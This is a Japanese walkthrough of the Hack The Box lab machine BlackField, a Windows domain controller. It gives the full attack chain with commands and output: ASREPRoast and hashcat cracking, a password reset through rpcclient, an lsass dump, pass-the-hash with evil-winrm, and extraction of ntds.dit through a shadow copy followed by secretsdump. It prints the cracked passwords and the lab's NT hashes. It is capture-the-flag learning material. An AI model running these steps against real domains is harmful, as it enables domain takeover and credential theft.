注意

このWalkthroughはHack The Box(以下、HTB)の問題であるBlackFieldの解説を目的とした記事です。不正アクセス等の違法行為を助長するものではありません。

はじめに

OSがWindowsでHardの問題。Rateが4.9でStaff Pickされている神マシン。
Windows環境で使えるツールを知っている限りほぼ全部使いまくってやった。マシンを攻略するにあたってここまで興奮したのは初めて。

infocard

Walkthrough

User権限を取るまで

autoreconによる調査

確認したファイルで有用そうな情報を記載する。

_quick_tcp_nmap.txt

空いているポートを見逃すと面倒なのでここだけは外さないように別ツールでもポートスキャンを行い、結果が一致することを確認した。

PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain?       syn-ack
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2020-07-23 14:48:15Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=9%D=7/23%Time=5F193FD4%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

enum4linux.txt

ドメイン名が「BLACKFIELD」である様子。

Domain Name: BLACKFIELD
Domain Sid: S-1-5-21-4194615774-2175524697-3563712290

smbclient.txt

ユーザー名のようなフォルダが作成されている。これはユーザーの一覧として使えそう。

$cat smbclient.txt

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        profiles$       Disk
        SYSVOL          Disk      Logon server share

# 権限
[+] Guest session       IP: blackfield:445      Name: unknown
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                NO ACCESS       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        profiles$                                               READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share

# profiles$の中身
        profiles$                                               READ ONLY
        .\profiles$\*
        dr--r--r--                0 Thu Jun  4 01:47:12 2020    .
        dr--r--r--                0 Thu Jun  4 01:47:12 2020    ..
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    AAlleni
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    ABarteski
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    ABekesz
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    ABenzies
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    ABiemiller
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    AChampken
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    ACheretei
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    ACsonaki
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    AHigchens
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    AJaquemai
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    AKlado
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    AKoffenburger
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    AKollolli
        dr--r--r--                0 Thu Jun  4 01:47:11 2020    AKruppe
...(大量のユーザと思われるフォルダ一覧が続く)

ユーザーの一覧からASREPRoastを行う。

ユーザーの一覧は入手したので、ASREPRoastを行ってみる。
事前にsmbclientなどでフォルダの一覧を入手し、 cat list.txt | awk '{print $8}' > users.txtなどで整形しておくこと。

GetNPUsers.py BLACKFIELD/ -format hashcat -usersfile users.txt -outputfile result.hash -dc-ip blackfield

~(snip)~
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
~(snip)~
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
~(snip)~

cat result.hash
$krb5asrep$23$support@BLACKFIELD:e24d006507629a228d3e40e6460b8a2e$e7d75ebe4697d9739263117cf43bba6c4a6b5b107b00ea284265e7ad949756ec84420a81c6013ba23d84d750bb5fb024f9e84f4fe234916ae61a5a9b64483e7d199c54d1496e871012e480f56b1e34e816f44a7228c03e0061668afdb16b9ae70cc97d08e5f6484380ef927d78bd7e459e24c077ef792383f3e535d574264c996787672d2129b2fa7706f3318dc5d47de3746803669f22a94f13d61dec97fb29bd4e76f21c96740ccfd36e2b0623ea52a97d4ecb882da1b130e87fca8e6e06e1a51dc22123b0e8ebe5684966d0a7ed1fbd704c3214f320b26ff2e7d0a7e411d0cb5b55038bb9a6469fe79d4cbeb5

ハッシュが見つかる。

hashcatで辞書攻撃を行う。

ハッシュが手に入ったので辞書攻撃を行い、パスワードの平文を得たいと思う。
適当な辞書を選択し、少しまつ。

hashcat -m18200 '$krb5asrep$23$support@BLACKFIELD:e24d006507629a228d3e40e6460b8a2e$e7d75ebe4697d9739263117cf43bba6c4a6b5b107b00ea284265e7ad949756ec84420a81c6013ba23d84d750bb5fb024f9e84f4fe234916ae61a5a9b64483e7d199c54d1496e871012e480f56b1e34e816f44a7228c03e0061668afdb16b9ae70cc97d08e5f6484380ef927d78bd7e459e24c077ef792383f3e535d574264c996787672d2129b2fa7706f3318dc5d47de3746803669f22a94f13d61dec97fb29bd4e76f21c96740ccfd36e2b0623ea52a97d4ecb882da1b130e87fca8e6e06e1a51dc22123b0e8ebe5684966d0a7ed1fbd704c3214f320b26ff2e7d0a7e411d0cb5b55038bb9a6469fe79d4cbeb5'  -a 0 /usr/share/wordlists/rockyou.txt -o result.txt

~(snip)~

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$support@BLACKFIELD:e24d006507629a228d...4cbeb5
Time.Started.....: Sun Aug 30 16:40:19 2020 (17 secs)
Time.Estimated...: Sun Aug 30 16:40:36 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   832.5 kH/s (8.73ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 14340096/14344385 (99.97%)
Rejected.........: 0/14340096 (0.00%)
Restore.Point....: 14327808/14344385 (99.88%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: $Cah$ -> !carragold!

cat result.txt
$krb5asrep$23$support@BLACKFIELD:e24d006507629a228d3e40e6460b8a2e$e7d75ebe4697d9739263117cf43bba6c4a6b5b107b00ea284265e7ad949756ec84420a81c6013ba23d84d750bb5fb024f9e84f4fe234916ae61a5a9b64483e7d199c54d1496e871012e480f56b1e34e816f44a7228c03e0061668afdb16b9ae70cc97d08e5f6484380ef927d78bd7e459e24c077ef792383f3e535d574264c996787672d2129b2fa7706f3318dc5d47de3746803669f22a94f13d61dec97fb29bd4e76f21c96740ccfd36e2b0623ea52a97d4ecb882da1b130e87fca8e6e06e1a51dc22123b0e8ebe5684966d0a7ed1fbd704c3214f320b26ff2e7d0a7e411d0cb5b55038bb9a6469fe79d4cbeb5:#00^BlackKnight

supportのパスワードは#00^BlackKnightであることがわかる。ただこのアカウントではWinRMを経由したログインができないため、なにか方法を考える必要がある。

supportアカウントを使った調査

このアカウントを使い、全体的に調査をし直す。今まで権限がなかった SYSVOLにREAD ONLYの権限がついている。どう考えても怪しい。

smb関連の調査

smbmap -H blackfield -u support -p '#00^BlackKnight' -d BLACKFIELD

[+] IP: blackfield:445  Name: unknown
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                NO ACCESS       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        profiles$                                               READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share

smblicentでアクセスを行い中身のデータをとりあえずDLする。
接続先を最初はblackfieldにしていたが、だめだったのでこんな感じになっている。なぜ。

smbclient //dc01.blackfield.local/SYSVOL -U blackfield.local/support
Enter BLACKFIELD.LOCAL\support's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Feb 23 20:13:05 2020
  ..                                  D        0  Sun Feb 23 20:13:05 2020
  BLACKFIELD.local                   Dr        0  Sun Feb 23 20:13:05 2020
mg
                7846143 blocks of size 4096. 3836818 blocks available
smb: \> mget *
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \BLACKFIELD.local\DfsrPrivate\*
getting file \BLACKFIELD.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 22 as GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \BLACKFIELD.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as GptTmpl.inf (1.5 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \BLACKFIELD.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2796 as Registry.pol (3.9 KiloBytes/sec) (average 1.8 KiloBytes/sec)
getting file \BLACKFIELD.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as GPT.INI (0.0 KiloBytes/sec) (average 1.4 KiloBytes/sec)
getting file \BLACKFIELD.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3764 as GptTmpl.inf (4.5 KiloBytes/sec) (average 2.1 KiloBytes/sec)
smb: \> exit

中身見てもよくわからなかった。ここで無限に時間を消費する。

rpc関連の調査

正直なところ未だにRPCを理解できていない。
が、ググりまくり、フォーラムを見まくるととサービスデスクっぽいアカウントだとパスワード変更できるんじゃね？といったものが目立つ。RPCで情報を抜きつつ試してみる。

rpcclient -U support 10.10.10.192

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[audit2020] rid:[0x44f]
user:[support] rid:[0x450]
user:[BLACKFIELD764430] rid:[0x451]
user:[BLACKFIELD538365] rid:[0x452]
~(snip)~
user:[BLACKFIELD532412] rid:[0x581]
user:[BLACKFIELD996878] rid:[0x582]
user:[BLACKFIELD653097] rid:[0x583]
user:[BLACKFIELD438814] rid:[0x584]
user:[svc_backup] rid:[0x585]
user:[lydericlefebvre] rid:[0x586]

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]

rpcclient $> setuserinfo2 audit2020 23 '#i98jO093jlsi38'
rpcclient $> exit

うまく行ったっぽい。

audit2020アカウントを使った調査

audit2020 のパスワードは自由に変えることができることがわかっているので、このアカウントベースで更に調査していく。アカウント名に2020とか入れてるくらいだし、臨時アカウントっぽい。

smbmap -H blackfield -u audit2020 -p '#i98jO093jlsi38' -d BLACKFIELD
[+] IP: blackfield:445  Name: unknown
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                READ ONLY       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        profiles$                                               READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share

forensicフォルダがREAD ONLYになったので確認しに行く。

smbclient //blackfield/forensic -U blackfield/audit2020
Enter BLACKFIELD\audit2020's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Feb 23 22:03:16 2020
  ..                                  D        0  Sun Feb 23 22:03:16 2020
  commands_output                     D        0  Mon Feb 24 03:14:37 2020
  memory_analysis                     D        0  Fri May 29 05:28:33 2020
  tools                               D        0  Sun Feb 23 22:39:08 2020

                7846143 blocks of size 4096. 3938851 blocks available
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \commands_output\domain_admins.txt of size 528 as domain_admins.txt (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \commands_output\domain_groups.txt of size 962 as domain_groups.txt (1.5 KiloBytes/sec) (average 1.1 KiloBytes/sec)
getting file \commands_output\domain_users.txt of size 16454 as domain_users.txt (24.8 KiloBytes/sec) (average 9.1 KiloBytes/sec)
getting file \commands_output\firewall_rules.txt of size 518202 as firewall_rules.txt (347.8 KiloBytes/sec) (average 154.4 KiloBytes/sec)
getting file \commands_output\ipconfig.txt of size 1782 as ipconfig.txt (2.7 KiloBytes/sec) (average 130.2 KiloBytes/sec)
getting file \commands_output\netstat.txt of size 3842 as netstat.txt (5.8 KiloBytes/sec) (average 113.0 KiloBytes/sec)
getting file \commands_output\route.txt of size 3976 as route.txt (6.0 KiloBytes/sec) (average 100.1 KiloBytes/sec)
getting file \commands_output\systeminfo.txt of size 4550 as systeminfo.txt (6.9 KiloBytes/sec) (average 90.0 KiloBytes/sec)
getting file \commands_output\tasklist.txt of size 9990 as tasklist.txt (15.2 KiloBytes/sec) (average 82.8 KiloBytes/sec)
~(snip)~

ダンプファイルの調査

forensicsフォルダの中身は各種ダンプファイルや調査結果とかが入っているっぽい。その中でもmemory_analysis/lsass.zipが良さそう。lsass.exeのメモリダンプであればmimikatzで解析可能であるため試してみる。

cd memory_analysis
unzip lsass.zip
Archive:  lsass.zip
  inflating: lsass.DMP

pypykatz lsa minidump ./lsass.DMP
FILE: ======== ./lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
        == MSV ==
                Username: svc_backup
                Domain: BLACKFIELD
                LM: NA
                NT: 9658d1d1dcd9250115e2205d9f48400d
                SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
        == WDIGEST [633ba]==
                username svc_backup
                domainname BLACKFIELD
                password None
        == SSP [633ba]==
                username
                domainname
                password None
        == Kerberos ==
                Username: svc_backup
                Domain: BLACKFIELD.LOCAL
                Password: None
        == WDIGEST [633ba]==
                username svc_backup
                domainname BLACKFIELD
                password None

めちゃくちゃうまくいく。これでsvc_backupのNTLMハッシュが手に入ったため、Pass-the-Hashする。

ruby evil-winrm.rb -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i blackfield

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_backup\Documents> type ../Desktop/user.txt

これでユーザーが取れました！

Administrator権限取るまで

取得したユーザー名はsvc_backupなのでバックアップ関連権限の悪用だとわかる。whoamiしてみるとバックアップ関連の権限がついていた。

*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

なのでひたすらぐぐってみるとと、色々わかってきたので次の方針で頑張る。

結局はバックアップとリストアができるのでWindows上の全ファイルの読み書きが可能。
であれば今回のケースだとActive Directoryのデータベースファイルであるntds.ditファイルをダンプしてAdministratorの情報を抜けばいい
ntds.dit は通常読み取りすらできないファイルなので、バックアップの権限を悪用しシャドーコピー経由でダンプすればいい

シャドーコピー作成

$ evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i blackfield

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_backup\Documents> upload script.txt
Info: Uploading script.txt to C:\Users\svc_backup\Documents\script.txt


Data: 288 bytes of 288 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\svc_backup\Documents> type script.txt
{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive

create

expose %mydrive% w:
end backup
}
*Evil-WinRM* PS C:\Users\svc_backup\Documents> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  10/2/2020 2:07:07 PM

->
-> set context persistent nowriters
-> set metadata c:\windows\system32\spool\drivers\color\example.cab
-> set verbose on
-> begin backup
-> add volume c: alias mydrive
->
-> create

Alias mydrive for shadow ID {1e9682b9-2eb9-4789-a991-cfb50c6a1547} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {175322cf-2057-4d71-9b3c-7a19a230b712} set as environment variable.
Inserted file Manifest.xml into .cab file example.cab
Inserted file Dis6345.tmp into .cab file example.cab

Querying all shadow copies with the shadow copy set ID {175322cf-2057-4d71-9b3c-7a19a230b712}

	* Shadow copy ID = {1e9682b9-2eb9-4789-a991-cfb50c6a1547}		%mydrive%
		- Shadow copy set: {175322cf-2057-4d71-9b3c-7a19a230b712}	%VSS_SHADOW_SET%
		- Original count of shadow copies = 1
		- Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
		- Creation time: 10/2/2020 2:07:08 PM
		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
		- Originating machine: DC01.BLACKFIELD.local
		- Service machine: DC01.BLACKFIELD.local
		- Not exposed
		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
		- Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
->
-> expose %mydrive% w:
-> %mydrive% = {1e9682b9-2eb9-4789-a991-cfb50c6a1547}
The shadow copy was successfully exposed as w:\.
-> end backup
->
->

ntds.ditの取得

*Evil-WinRM* PS C:\Users\svc_backup\Documents> upload SeBackupPrivilegeCmdLets.dll
Info: Uploading SeBackupPrivilegeCmdLets.dll to C:\Users\svc_backup\Documents\SeBackupPrivilegeCmdLets.dll


Data: 16384 bytes of 16384 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\svc_backup\Documents> upload SeBackupPrivilegeUtils.dll
Info: Uploading SeBackupPrivilegeUtils.dll to C:\Users\svc_backup\Documents\SeBackupPrivilegeUtils.dll


Data: 21844 bytes of 21844 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\svc_backup\Documents> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Users\svc_backup\Documents> Import-Module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\Users\svc_backup\Documents> Get-SeBackupPrivilege
*Evil-WinRM* PS C:\Users\svc_backup\Documents> Set-SeBackupPrivilege
*Evil-WinRM* PS C:\Users\svc_backup\Documents> Get-SeBackupPrivilege
*Evil-WinRM* PS C:\Users\svc_backup\Documents> Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\users\svc_backup\Documents\ntds.dit -Overwrite

レジストリ取得

*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg save HKLM\SYSTEM c:\Users\svc_backup\Documents\system.hive
The operation completed successfully.

*Evil-WinRM* PS C:\Users\svc_backup\Documents> ls


    Directory: C:\Users\svc_backup\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/2/2020   2:11 PM       18874368 ntds.dit ←このファイルをダウンロード
-a----        10/2/2020   2:06 PM            217 script.txt
-a----        10/2/2020   2:09 PM          12288 SeBackupPrivilegeCmdLets.dll
-a----        10/2/2020   2:09 PM          16384 SeBackupPrivilegeUtils.dll
-a----        10/2/2020   2:12 PM       17547264 system.hive　←このファイルをダウンロード

impacket-secretdumpにて認証情報のダンプを行う

impacket-secretsdump -ntds ntds.dit -system system.hive -hashes lmhash:nthash LOCAL -outputfile output.txt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9e3d10cc537937888adcc0d918813a24:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
~(snip)~

AdministratorのNTLMハッシュがわかるためPass-the-Hashを行う

evil-winrm -u administrator -H 184fb5e5178480be64824d4cd53b99ee -i blackfield                                                                        127 ⨯

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator

最後に

最高のマシンだった。ごちそうさまでした。